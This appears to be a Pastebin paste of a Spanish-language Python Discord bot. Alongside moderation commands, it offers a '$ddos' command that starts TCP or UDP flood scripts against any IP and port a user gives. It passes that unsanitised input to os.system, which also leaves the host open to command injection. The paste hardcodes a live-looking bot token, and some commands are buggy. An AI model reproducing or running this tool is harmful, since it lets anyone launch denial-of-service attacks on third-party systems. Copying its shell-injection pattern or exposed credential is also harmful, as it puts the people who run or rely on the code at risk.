Advertisement
Guest User

Untitled

a guest
Nov 17th, 2019
132
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 5.33 KB | None | 0 0
  1. import discord
  2. import colorama
  3. import asyncio
  4. import random
  5. import os
  6. from colorama import *
  7. from discord.ext import commands, tasks
  8. from itertools import cycle
  9.  
  10. token = 'NjQ1NzY1NzYxNTQ1MjczMzU0.XdIAsg.wqpEGeTiWR8XAzOrnANPOg2hIvg'
  11. client = commands.Bot(command_prefix = "$")
  12. client.remove_command('help')
  13. status = cycle(["Creditos a","Epsilon","Error403"])
  14.  
  15.  
  16. @client.event
  17. async def on_ready():
  18. print(Fore.YELLOW+"[INFO] Bot iniciado")
  19. change_status.start()
  20.  
  21. @client.event
  22. async def on_command_error(ctx, error):
  23. pass
  24.  
  25.  
  26. @tasks.loop(seconds=1)
  27. async def change_status():
  28. await client.change_presence(activity=discord.Game(next(status)))
  29.  
  30. @client.event
  31. async def on_member_join(member):
  32. print(fore.GREEN+f"[INFO] {member} a entrando un nuevo miembro")
  33.  
  34. @client.event
  35. async def on_member_remove(member):
  36. print(fore.RED+f"[INFO]{member} a salido del servidor")
  37.  
  38. @client.command()
  39. async def ping(ctx):
  40. await ctx.send(f"**Latencia: {client.latency * 1000}ms**")
  41.  
  42. @client.command()
  43. @commands.has_permissions(manage_message=True)
  44. async def clear(ctx, amount = 1):
  45. await ctx.channel.purge(limit=amount)
  46. await ctx.send(f"**Eliminaste los mensajes existosamente**")
  47.  
  48. @client.command()
  49. async def ddos(ctx, ip, port, time, metodo = ''):
  50. if ip == '':
  51. await ctx.send(f"**Utiliza: $ddos (ip) (puerto) (tiempo) (metodo)**")
  52. elif ip == '127.0.0.1':
  53. await ctx.send(f"**IP EN LA LISTA NEGRA!**")
  54. metodo == ''
  55. elif ip == '1.1.1.1':
  56. await ctx.send(f"**IP EN LA LISTA NEGRA!**")
  57. metodo == ''
  58. elif ip == '0.0.0.0':
  59. await ctx.send(f"**IP EN LA LISTA NEGRA!**")
  60. metodo == ''
  61. elif ip == 'localhost':
  62. metodo == ''
  63. await ctx.send(f"**IP EN LA LISTA NEGRA!**")
  64. if port == '':
  65. await ctx.send(f"**Utiliza: $ddos (ip) (puerto) (tiempo) (metodo)**")
  66. if time == '':
  67. await ctx.send(f"**Utiliza: $ddos (ip) (puerto) (tiempo) (metodo)**")
  68. if metodo == 'TCP':
  69. await ctx.send(f"**Atacando a " + ip + " con el puerto " + port + " por " + time + " segundos usando el metodo " + metodo + "**")
  70. os.system("start python Layer4.py " + ip + " " + port + " 300 " + time)
  71. elif metodo == 'UDP':
  72. await ctx.send(f"**Atacando a " + ip + " con el puerto " + port + " por " + time + " segundos usando el metodo " + metodo + "**")
  73. os.system("start python DontOpen.py " + ip + " " + port + " " + time)
  74. elif metodo == '':
  75. await ctx.send(f"**Utiliza: $ddos (ip) (puerto) (tiempo) (metodo)**")
  76. else:
  77. await ctx.send(f"**Utiliza: $ddos (ip) (puerto) (tiempo) (metodo)**")
  78.  
  79. @client.command()
  80. async def metodos(ctx):
  81. await ctx.send(f"""
  82. **Metodos:**
  83. ```TCP - Ataque por el protocolo TCP```
  84. ```UDP - Ataque por el protocolo UDP```""")
  85.  
  86. @client.command(pass_context=True)
  87. async def help(ctx):
  88. await ctx.send(f"""**Comandos usuarios:**
  89. $ping / revisa el ping de tu pc
  90. $ayuda / revisa los comandos del servidor
  91. **Comandos de exclusivos:**
  92. $ddos / atacka webs y ips
  93. **Comandos de personal:**
  94. $clear / borra mensajes del canal donde pones el comando
  95. $kick / saca un miembro del servidor
  96. $ban / banea a un miembro del servidor
  97. $mute / mutea a un miembro del servidor
  98. $unban / desbanea a un miembro del servidor
  99. $unmute / sacale el mute a un miembro del servidor""")
  100.  
  101. @client.command()
  102. @commands.has_permissions(kick_members=True)
  103. async def kick(ctx, member : discord.Member, *, reason=None):
  104. await member.kick(reason=reason)
  105. await ctx.send(f"**Kickeaste existosamente a {member.mention}*")
  106. if not member:
  107. await ctx.send(f"**Espesifique el usuario**")
  108. return
  109.  
  110. @client.command()
  111. @commands.has_permissions(ban_members=True)
  112. async def ban(ctx, member : discord.Member, *, reason=None):
  113. await member.ban(reason=reason)
  114. await ctx.send(f"**Baneaste existosamente a {member.mention}**")
  115. if not member:
  116. await ctx.send(f"**Espesifique el usuario**")
  117. return
  118.  
  119.  
  120. @client.command()
  121. @commands.has_permissions(ban_members=True)
  122. async def unban(ctx, *, member):
  123. banned_users = await ctx.guild.bans()
  124. for ban_entry in banned_users:
  125. user = ban_entry.user
  126. await ctx.guild.unban(user)
  127. await ctx.send(f'**Unbaneaste existosamente a {member.mention}**')
  128. if not member:
  129. await ctx.send(f"**Espesifique el usuario**")
  130. return
  131.  
  132. @client.command()
  133. @commands.has_permissions(kick_members=True)
  134. async def mute(ctx, member : discord.Member, *, reason=None):
  135. role = discord.utils.get(ctx.guild.roles, name="Muted")
  136. role2 = discord.utils.get(ctx.guild.roles, name="Miembro")
  137. await member.add_roles(role)
  138. await member.remove_roles(role2)
  139. await ctx.send(f'**Muteaste existosamente a {member.mention}**')
  140. if not member:
  141. await ctx.send(f"**Espesifique el usuario**")
  142. return
  143.  
  144. @client.command()
  145. @commands.has_permissions(kick_members=True)
  146. async def unmute(ctx, member : discord.Member, *, reason=None):
  147. role = discord.utils.get(ctx.guild.roles, name="Muted")
  148. role2 = discord.utils.get(ctx.guild.roles, name="Miembro")
  149. await member.remove_roles(role2)
  150. await member.add_roles(role)
  151. await ctx.send(f'**Unmuteaste existosamente a {member.mention}**')
  152. if not member:
  153. await ctx.send(f"**Espesifique el usuario**")
  154. return
  155.  
  156. client.run(token)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement